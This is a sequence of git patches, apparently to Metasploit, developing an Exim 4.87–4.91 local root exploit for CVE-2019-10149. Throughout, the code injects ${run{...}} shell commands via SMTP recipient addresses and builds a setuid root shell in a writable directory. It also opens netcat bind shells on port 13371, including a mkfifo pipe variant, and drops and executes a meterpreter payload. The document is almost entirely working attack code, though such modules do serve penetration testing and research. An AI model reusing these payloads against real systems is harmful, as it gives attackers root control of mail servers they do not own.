file_rm("/tmp/#{@SUID_SHELL}") + file_rm("/tmp/#{@SUID_SHELL}.c") if is_root? print_good('You are now root, enjoy!') return end - print_status('Couldn\'t escalate privileges, trying netcat method') + print_warning('Couldn\'t escalate privileges, trying netcat method') # If nc does not have the -e option, try with nc.traditional netcat = '' @@ -118,14 +130,15 @@ class MetasploitModule < Msf::Exploit::Local netcat = 'nc.traditional' end - # If neither nc or nc.traditional can be used, try with bash + # TODO: If neither nc and nc.traditional are available, try pipe method if netcat == '' print_error('Neither nc nor nc.traditional could be used') return end - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat + '\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost') - cmd_exec("nc 127.0.0.1 13371") + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat\ + + '\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost') + cmd_exec('nc 127.0.0.1 13371') if is_root? print_good('You are now root, enjoy!') From 9b378ceb71834510a6c72e934cba778933a76e2f Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 4 Jul 2019 15:02:03 +0100 Subject: [PATCH 10/39] Add options. Add pipe netcat method Change-Id: I0c401add1c2ff76e3e2c3d82a8fb7f74db405a1f --- ...c.rb => exim4_deliver_message_priv_esc.rb} | 68 +++++++++++++------ 1 file changed, 47 insertions(+), 21 deletions(-) rename modules/exploits/linux/local/{exim4_priv_esc.rb => exim4_deliver_message_priv_esc.rb} (64%) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb similarity index 64% rename from modules/exploits/linux/local/exim4_priv_esc.rb rename to modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 099bb487de..330a3f5032 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -44,20 +44,26 @@ class MetasploitModule < Msf::Exploit::Local ] )) - register_advanced_options ( + register_options( [ - OptString.new('EXIMPATH', [true, 'The path to the exim executable (used to check for vulnerability)', - '/usr/bin/exim']), + OptString.new('EXIMPATH', [false, 'The path to the exim executable (used to check for vulnerability)']), OptInt.new('EXIMPORT', [true, 'The port exim is listening to', 25]) ]) - @SUID_SHELL = Rex::Text.rand_text_alpha(10) - @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2f' + @SUID_SHELL\ - + '\x3bchmod\t4755\t\x2ftmp\x2f' + @SUID_SHELL + '\x22}}@localhost' + register_advanced_options( + [ + OptString.new('NetcatPort', [true, 'The port netcat must listen to (used for netcat method)', '13371']), + OptString.new('WritableDir', [true, 'The path to a writable directory on the target system', '/tmp']) + ]) end def check - res = cmd_exec("#{datastore['EXIMPATH']} -bV") + exim = if datastore['EXIMPATH'].nil? + 'exim' + else + datastore['EXIMPATH'] + end + res = cmd_exec("#{exim} -bV") if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) if version >= target[:lower_version] && version <= target[:upper_version] @@ -69,8 +75,12 @@ class MetasploitModule < Msf::Exploit::Local CheckCode::Unknown end + def encode_path(path) + path.sub('/', '\x2f') + end + def inject_payload(payload) - res = cmd_exec("exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}") + res = cmd_exec("exec 3<>/dev/tcp/127.0.0.1/#{datastore['EXIMPORT']}") cmd_exec('read -u 3 && echo $REPLY') cmd_exec('echo "helo localhost" >&3') @@ -95,6 +105,12 @@ class MetasploitModule < Msf::Exploit::Local end def exploit + suid_shell_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) + + @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t'\ + + encode_path(suid_shell_path) + '\x3bchmod\t4755\t'\ + + encode_path(suid_shell_path) + '\x22}}@localhost' + print_status('Trying setuid method to escalate privileges') shell_c_code = %| #include @@ -108,12 +124,12 @@ class MetasploitModule < Msf::Exploit::Local } | - write_file("/tmp/#{@SUID_SHELL}.c", shell_c_code) - cmd_exec("gcc -o /tmp/#{@SUID_SHELL} /tmp/#{@SUID_SHELL}.c 2>&1") + write_file("#{suid_shell_path}.c", shell_c_code) + cmd_exec("gcc -o #{suid_shell_path} #{suid_shell_path}.c 2>&1") inject_payload(@PAYLOAD_SETUID) - cmd_exec("/tmp/#{@SUID_SHELL}") - file_rm("/tmp/#{@SUID_SHELL}") - file_rm("/tmp/#{@SUID_SHELL}.c") + cmd_exec("#{suid_shell_path}") + file_rm("#{suid_shell_path}") + file_rm("#{suid_shell_path}.c") if is_root? print_good('You are now root, enjoy!') @@ -122,27 +138,37 @@ class MetasploitModule < Msf::Exploit::Local print_warning('Couldn\'t escalate privileges, trying netcat method') + if !(cmd_exec('which nc') =~ /no nc/) + print_error('Could\' find netcat') + return + end + # If nc does not have the -e option, try with nc.traditional netcat = '' - if !(cmd_exec('which nc') =~ /no nc/) && !(cmd_exec('nc -e 2>&1') =~ /invalid option/) + if !(cmd_exec('nc -e 2>&1') =~ /invalid option/) netcat = 'nc' elsif !(cmd_exec('which nc.traditional') =~ /no nc.traditional/) netcat = 'nc.traditional' end - # TODO: If neither nc and nc.traditional are available, try pipe method if netcat == '' - print_error('Neither nc nor nc.traditional could be used') - return + pipe_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) + cmd("mknod #{pipe_path} p") + print_warning("You will need to manually remove #{pipe_path}.") + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22\x2fbin\x2fsh\t0\x3c'\ + + encode_path(pipe_path) + '\t\x7c\tnc\t-lp\t127.0.0.1\t'\ + + datastore['NetcatPort'] + '\t1\x3e'\ + + encode_path(pipe_path) + '\x22}}@localhost') + else + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat\ + + '\t-lp\t' + datastore['NetcatPort'] + + '\t-e\t\x2fbin\x2fsh\x22}}@localhost') end - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat\ - + '\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost') - cmd_exec('nc 127.0.0.1 13371') + cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") if is_root? print_good('You are now root, enjoy!') - return else print_error('Couldn\'t escalate privileges...') end From 3c0b581371784cc80bf0cba657e769a134d1581b Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 4 Jul 2019 16:16:27 +0100 Subject: [PATCH 11/39] Clean code Change-Id: I83287dcd52c4ba566396a0ff7e4f3c3125d12bb0 --- .../local/exim4_deliver_message_priv_esc.rb | 52 +++++++++++-------- 1 file changed, 29 insertions(+), 23 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 330a3f5032..152f76f51f 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -8,7 +8,6 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Linux::Priv - include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -53,16 +52,21 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ OptString.new('NetcatPort', [true, 'The port netcat must listen to (used for netcat method)', '13371']), - OptString.new('WritableDir', [true, 'The path to a writable directory on the target system', '/tmp']) + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end def check - exim = if datastore['EXIMPATH'].nil? + exim = if datastore['EXIMPATH'] 'exim' else datastore['EXIMPATH'] end + if cmd_exec("which #{exim}").blank? + print_error('Exim executable not found. You may want to set EXIMPATH.') + return CheckCode::Unknown + end + res = cmd_exec("#{exim} -bV") if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) @@ -76,10 +80,11 @@ class MetasploitModule < Msf::Exploit::Local end def encode_path(path) - path.sub('/', '\x2f') + path.gsub('/', '\x2f') end def inject_payload(payload) + puts payload res = cmd_exec("exec 3<>/dev/tcp/127.0.0.1/#{datastore['EXIMPORT']}") cmd_exec('read -u 3 && echo $REPLY') @@ -105,12 +110,6 @@ class MetasploitModule < Msf::Exploit::Local end def exploit - suid_shell_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) - - @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t'\ - + encode_path(suid_shell_path) + '\x3bchmod\t4755\t'\ - + encode_path(suid_shell_path) + '\x22}}@localhost' - print_status('Trying setuid method to escalate privileges') shell_c_code = %| #include @@ -124,12 +123,16 @@ class MetasploitModule < Msf::Exploit::Local } | + suid_shell_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) write_file("#{suid_shell_path}.c", shell_c_code) cmd_exec("gcc -o #{suid_shell_path} #{suid_shell_path}.c 2>&1") - inject_payload(@PAYLOAD_SETUID) + + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t' + + encode_path(suid_shell_path) + '\x3bchmod\t4755\t' + + encode_path(suid_shell_path) + '\x22}}@localhost') + cmd_exec("#{suid_shell_path}") - file_rm("#{suid_shell_path}") - file_rm("#{suid_shell_path}.c") + rm_f("#{suid_shell_path}", "#{suid_shell_path}.c") if is_root? print_good('You are now root, enjoy!') @@ -138,7 +141,7 @@ class MetasploitModule < Msf::Exploit::Local print_warning('Couldn\'t escalate privileges, trying netcat method') - if !(cmd_exec('which nc') =~ /no nc/) + if cmd_exec('which nc').blank? print_error('Could\' find netcat') return end @@ -147,22 +150,25 @@ class MetasploitModule < Msf::Exploit::Local netcat = '' if !(cmd_exec('nc -e 2>&1') =~ /invalid option/) netcat = 'nc' - elsif !(cmd_exec('which nc.traditional') =~ /no nc.traditional/) + elsif cmd_exec('which nc.traditional').present? netcat = 'nc.traditional' end - if netcat == '' + # If nc does not have -e option and nc.traditional is not present, try + # pipe method + if netcat.empty? pipe_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) cmd("mknod #{pipe_path} p") print_warning("You will need to manually remove #{pipe_path}.") - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22\x2fbin\x2fsh\t0\x3c'\ - + encode_path(pipe_path) + '\t\x7c\tnc\t-lp\t127.0.0.1\t'\ - + datastore['NetcatPort'] + '\t1\x3e'\ - + encode_path(pipe_path) + '\x22}}@localhost') + + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22\x2fbin\x2fsh\t0\x3c' + + encode_path(pipe_path) + '\t\x7c\tnc\t-lp\t127.0.0.1\t' + + datastore['NetcatPort'] + '\t1\x3e' + + encode_path(pipe_path) + '\x22}}@localhost') else - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat\ - + '\t-lp\t' + datastore['NetcatPort'] - + '\t-e\t\x2fbin\x2fsh\x22}}@localhost') + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat + + '\t-lp\t' + datastore['NetcatPort'] + + '\t-e\t\x2fbin\x2fsh\x22}}@localhost') end cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") From e4c27d3eab33ef7bf3f1eb3186a5e8ad4f99bbca Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 4 Jul 2019 16:20:13 +0100 Subject: [PATCH 12/39] Clean pipe file Change-Id: Ibc78639ad44eb56ffa26fcfb4f656b5a78dbf76a --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 152f76f51f..e7a23b3424 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local end def inject_payload(payload) - puts payload + #puts payload res = cmd_exec("exec 3<>/dev/tcp/127.0.0.1/#{datastore['EXIMPORT']}") cmd_exec('read -u 3 && echo $REPLY') @@ -172,6 +172,7 @@ class MetasploitModule < Msf::Exploit::Local end cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") + file_rm(pipe_path) if is_root? print_good('You are now root, enjoy!') From 74eb74e606154ff56fc3fda87894adb3f5fb5c87 Mon Sep 17 00:00:00 2001 From: yaumn Date: Thu, 4 Jul 2019 23:15:23 +0100 Subject: [PATCH 13/39] Pipe method with netcat now works --- .../local/exim4_deliver_message_priv_esc.rb | 36 ++++++++++--------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index e7a23b3424..99f07f34a1 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -58,9 +58,9 @@ class MetasploitModule < Msf::Exploit::Local def check exim = if datastore['EXIMPATH'] - 'exim' - else datastore['EXIMPATH'] + else + 'exim' end if cmd_exec("which #{exim}").blank? print_error('Exim executable not found. You may want to set EXIMPATH.') @@ -84,8 +84,7 @@ class MetasploitModule < Msf::Exploit::Local end def inject_payload(payload) - #puts payload - res = cmd_exec("exec 3<>/dev/tcp/127.0.0.1/#{datastore['EXIMPORT']}") + res = cmd_exec("exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}") cmd_exec('read -u 3 && echo $REPLY') cmd_exec('echo "helo localhost" >&3') @@ -124,9 +123,11 @@ class MetasploitModule < Msf::Exploit::Local | suid_shell_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) + puts "waaf" write_file("#{suid_shell_path}.c", shell_c_code) + puts "wf" cmd_exec("gcc -o #{suid_shell_path} #{suid_shell_path}.c 2>&1") - + puts "wif" inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t' + encode_path(suid_shell_path) + '\x3bchmod\t4755\t' + encode_path(suid_shell_path) + '\x22}}@localhost') @@ -154,25 +155,26 @@ class MetasploitModule < Msf::Exploit::Local netcat = 'nc.traditional' end - # If nc does not have -e option and nc.traditional is not present, try - # pipe method + # If nc does not have -e option and nc.traditional is not present, + # try fifo method if netcat.empty? pipe_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) - cmd("mknod #{pipe_path} p") - print_warning("You will need to manually remove #{pipe_path}.") + encoded_pipe_path = encode_path(pipe_path) - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22\x2fbin\x2fsh\t0\x3c' + - encode_path(pipe_path) + '\t\x7c\tnc\t-lp\t127.0.0.1\t' + - datastore['NetcatPort'] + '\t1\x3e' + - encode_path(pipe_path) + '\x22}}@localhost') + cmd_exec("mkfifo #{pipe_path}") + inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22nc\t-lp\t' + datastore['NetcatPort'] + + '\t\x3c' + encoded_pipe_path + '\x7c\x2fbin\x2fbash\t2\x3e' + + encoded_pipe_path + '\t\x3e' + encoded_pipe_path + '\x22}}@localhost') else - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat + - '\t-lp\t' + datastore['NetcatPort'] + - '\t-e\t\x2fbin\x2fsh\x22}}@localhost') + inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22' + netcat + '\t-lp\t' + + datastore['NetcatPort'] + '\t-e\t\x2fbin\x2fbash\x22}}@localhost') end cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") - file_rm(pipe_path) + + if netcat.empty? + file_rm(pipe_path) + end if is_root? print_good('You are now root, enjoy!') From 2c8ad0e357b03abb93d11a1efbca53b99172b169 Mon Sep 17 00:00:00 2001 From: yaumn Date: Fri, 5 Jul 2019 01:04:15 +0100 Subject: [PATCH 14/39] First tests with meterpreter sockets --- .../linux/local/exim4_deliver_message_priv_esc.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 99f07f34a1..3d8256c079 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -109,6 +109,14 @@ class MetasploitModule < Msf::Exploit::Local end def exploit + a = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) + p = Rex::Socket::Parameters.new({'PeerHost' => '127.0.0.1', 'PeerPort' => 13371}) + b = a.create_tcp_client_channel(p) + b.write("aaaa\n") + a.shutdown + puts b + + print_status('Trying setuid method to escalate privileges') shell_c_code = %| #include @@ -123,11 +131,8 @@ class MetasploitModule < Msf::Exploit::Local | suid_shell_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) - puts "waaf" write_file("#{suid_shell_path}.c", shell_c_code) - puts "wf" cmd_exec("gcc -o #{suid_shell_path} #{suid_shell_path}.c 2>&1") - puts "wif" inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t' + encode_path(suid_shell_path) + '\x3bchmod\t4755\t' + encode_path(suid_shell_path) + '\x22}}@localhost') From 4c2cacd7d65b9c9d38767332319d76db6b489435 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Fri, 5 Jul 2019 16:53:39 +0100 Subject: [PATCH 15/39] Add meterpreter support --- .../local/exim4_deliver_message_priv_esc.rb | 248 +++++++++++------- 1 file changed, 147 insertions(+), 101 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 3d8256c079..fc09fb598f 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -6,42 +6,43 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv def initialize(info = {}) super(update_info(info, - 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', - 'Description' => %q{ + 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', + 'Description' => %q{ This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Marco Ivaldi (@0xdea)', # Working exploit - 'Guillaume André (@yaumn_)' # Metasploit module - ], - 'DisclosureDate' => '2019-06-05', - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => - [ - [ - 'Exim 4.87 - 4.91', - lower_version: Gem::Version.new('4.87'), - upper_version: Gem::Version.new('4.91') - ] - ], - 'References' => - [ - [ 'CVE', '2019-10149' ], - [ 'EDB', '46996' ] - ] - )) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Marco Ivaldi (@0xdea)', # Working exploit + 'Guillaume André (@yaumn_)' # Metasploit module + ], + 'DisclosureDate' => '2019-06-05', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ + 'Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'References' => + [ + [ 'CVE', '2019-10149' ], + [ 'EDB', '46996' ] + ] + )) register_options( [ @@ -51,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ - OptString.new('NetcatPort', [true, 'The port netcat must listen to (used for netcat method)', '13371']), + OptInt.new('NetcatPort', [true, 'The port netcat must listen to (used for netcat method)', 13371]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end @@ -79,112 +80,157 @@ class MetasploitModule < Msf::Exploit::Local CheckCode::Unknown end + def encode_command(cmd) + '\x' + cmd.unpack('H2' * cmd.length).join('\x') + end + def encode_path(path) path.gsub('/', '\x2f') end def inject_payload(payload) - res = cmd_exec("exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}") + puts payload + if session.type == 'meterpreter' + socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) + params = Rex::Socket::Parameters.new({ + 'PeerHost' => '127.0.0.1', + 'PeerPort' => datastore['EXIMPORT'] + }) + socket = socket_subsystem.create_tcp_client_channel(params) + socket.gets + socket.puts("helo localhost\n") + puts socket.gets + socket.puts("mail from:<>\n") + puts socket.gets + socket.puts("rcpt to:<${run{#{payload}}}@localhost>\n") + puts socket.gets + socket.puts("data\n") + puts socket.gets + for i in (1..31) + socket.puts("Received: #{i}\n") + end + socket.puts(".\n") + puts socket.gets + socket.puts("quit\n") + socket.close + socket_subsystem.shutdown + else + res = cmd_exec("exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}") - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "helo localhost" >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "mail from:<>" >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec("echo 'rcpt to:<#{payload}>' >&3") - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "data" >&3') - cmd_exec('read -u 3 && echo $REPLY') - for i in (1..31) - cmd_exec("echo 'Received: #{i}' >&3") + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "helo localhost" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "mail from:<>" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec("echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3") + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "data" >&3') + cmd_exec('read -u 3 && echo $REPLY') + for i in (1..31) + cmd_exec("echo 'Received: #{i}' >&3") + end + cmd_exec('echo "." >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "quit" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('exec 3<&-') end - cmd_exec('echo "." >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "quit" >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('exec 3<&-') print_status('Payload sent, wait a few seconds...') sleep(5) end + def on_new_session(session) + if session.type == 'shell' + session.shell_command_token "rm -f '#{@suid_shell_launcher_path}'" + end + + print_good("Check session #{session.name}, you should have a root shell!") + ensure + super + end + def exploit - a = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) - p = Rex::Socket::Parameters.new({'PeerHost' => '127.0.0.1', 'PeerPort' => 13371}) - b = a.create_tcp_client_channel(p) - b.write("aaaa\n") - a.shutdown - puts b + if session.type == 'meterpreter' + meterpreter_shell = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file(meterpreter_shell, payload.encoded_exe) + register_files_for_cleanup(meterpreter_shell) + cmd_exec("chmod +x #{meterpreter_shell}") + inject_payload(encode_command("/bin/sh -c \"#{meterpreter_shell}\"")) - - print_status('Trying setuid method to escalate privileges') - shell_c_code = %| + if session_created? + return + end + else + shell_launcher_c_code = %| #include #include int main() { setuid(0); setgid(0); - execve("/bin/sh", NULL, NULL); + execve("/bin/bash", NULL, NULL); return 0; } - | + | - suid_shell_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) - write_file("#{suid_shell_path}.c", shell_c_code) - cmd_exec("gcc -o #{suid_shell_path} #{suid_shell_path}.c 2>&1") - inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t' + - encode_path(suid_shell_path) + '\x3bchmod\t4755\t' + - encode_path(suid_shell_path) + '\x22}}@localhost') + @suid_shell_launcher_path = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file("#{@suid_shell_launcher_path}.c", shell_launcher_c_code) + register_files_for_cleanup("#{@suid_shell_launcher_path}.c") + cmd_exec("gcc -o #{@suid_shell_launcher_path} #{@suid_shell_launcher_path}.c 2>&1") - cmd_exec("#{suid_shell_path}") - rm_f("#{suid_shell_path}", "#{suid_shell_path}.c") + inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher_path};"\ + "chmod 4755 #{@suid_shell_launcher_path}\"")) + cmd_exec("#{@suid_shell_launcher_path}") - if is_root? - print_good('You are now root, enjoy!') - return - end + if is_root? + print_good('You are now root, enjoy!') + return + end - print_warning('Couldn\'t escalate privileges, trying netcat method') + print_warning('Couldn\'t escalate privileges, trying netcat method') - if cmd_exec('which nc').blank? - print_error('Could\' find netcat') - return - end + if cmd_exec('which nc').blank? + print_error('Could\' find netcat') + return + end - # If nc does not have the -e option, try with nc.traditional - netcat = '' - if !(cmd_exec('nc -e 2>&1') =~ /invalid option/) - netcat = 'nc' - elsif cmd_exec('which nc.traditional').present? - netcat = 'nc.traditional' - end + # If nc does not have the -e option, try with nc.traditional + netcat = '' + if !(cmd_exec('nc -e 2>&1') =~ /invalid option/) + netcat = 'nc' + elsif cmd_exec('which nc.traditional').present? + netcat = 'nc.traditional' + end - # If nc does not have -e option and nc.traditional is not present, - # try fifo method - if netcat.empty? - pipe_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) - encoded_pipe_path = encode_path(pipe_path) + # If nc does not have -e option and nc.traditional is not present, + # try fifo method + if netcat.empty? + pipe_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) + encoded_pipe_path = encode_path(pipe_path) - cmd_exec("mkfifo #{pipe_path}") - inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22nc\t-lp\t' + datastore['NetcatPort'] + - '\t\x3c' + encoded_pipe_path + '\x7c\x2fbin\x2fbash\t2\x3e' + - encoded_pipe_path + '\t\x3e' + encoded_pipe_path + '\x22}}@localhost') - else - inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22' + netcat + '\t-lp\t' + - datastore['NetcatPort'] + '\t-e\t\x2fbin\x2fbash\x22}}@localhost') - end + cmd_exec("mkfifo #{pipe_path}") + inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22nc\t-lp\t' + datastore['NetcatPort'].to_s + + '\t\x3c' + encoded_pipe_path + '\x7c\x2fbin\x2fbash\t2\x3e' + + encoded_pipe_path + '\t\x3e' + encoded_pipe_path + '\x22}}@localhost') + else + inject_payload('${run{\x2fbin\x2fbash\t-c\t\x22' + netcat + '\t-lp\t' + + datastore['NetcatPort'].to_s + '\t-e\t\x2fbin\x2fbash\x22}}@localhost') + end - cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") + cmd_exec("nc 127.0.0.1 #{datastore['NetcatPort']}") - if netcat.empty? - file_rm(pipe_path) - end + if netcat.empty? + file_rm(pipe_path) + end - if is_root? - print_good('You are now root, enjoy!') - else - print_error('Couldn\'t escalate privileges...') + if is_root? + print_good('You are now root, enjoy!') + else + print_error('Couldn\'t escalate privileges...') + end end end end From a5843e48a9dff3be46160876d10ef93848acf2e5 Mon Sep 17 00:00:00 2001 From: yaumn Date: Sat, 6 Jul 2019 00:53:33 +0100 Subject: [PATCH 16/39] Basic reverse shell does not disconnect anymore --- .../local/exim4_deliver_message_priv_esc.rb | 69 +++---------------- 1 file changed, 11 insertions(+), 58 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index fc09fb598f..0b6c4e376b 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -52,7 +52,6 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ - OptInt.new('NetcatPort', [true, 'The port netcat must listen to (used for netcat method)', 13371]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end @@ -84,12 +83,7 @@ class MetasploitModule < Msf::Exploit::Local '\x' + cmd.unpack('H2' * cmd.length).join('\x') end - def encode_path(path) - path.gsub('/', '\x2f') - end - def inject_payload(payload) - puts payload if session.type == 'meterpreter' socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) params = Rex::Socket::Parameters.new({ @@ -99,18 +93,18 @@ class MetasploitModule < Msf::Exploit::Local socket = socket_subsystem.create_tcp_client_channel(params) socket.gets socket.puts("helo localhost\n") - puts socket.gets + socket.gets socket.puts("mail from:<>\n") - puts socket.gets + socket.gets socket.puts("rcpt to:<${run{#{payload}}}@localhost>\n") - puts socket.gets + socket.gets socket.puts("data\n") - puts socket.gets + socket.gets for i in (1..31) socket.puts("Received: #{i}\n") end socket.puts(".\n") - puts socket.gets + socket.gets socket.puts("quit\n") socket.close socket_subsystem.shutdown @@ -141,10 +135,6 @@ class MetasploitModule < Msf::Exploit::Local end def on_new_session(session) - if session.type == 'shell' - session.shell_command_token "rm -f '#{@suid_shell_launcher_path}'" - end - print_good("Check session #{session.name}, you should have a root shell!") ensure super @@ -178,59 +168,22 @@ class MetasploitModule < Msf::Exploit::Local @suid_shell_launcher_path = File.join(datastore['WritableDir'], Rex::Text.rand_text_alpha(10)) write_file("#{@suid_shell_launcher_path}.c", shell_launcher_c_code) - register_files_for_cleanup("#{@suid_shell_launcher_path}.c") cmd_exec("gcc -o #{@suid_shell_launcher_path} #{@suid_shell_launcher_path}.c 2>&1") - + file_rm("#{@suid_shell_launcher_path}.c") inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher_path};"\ 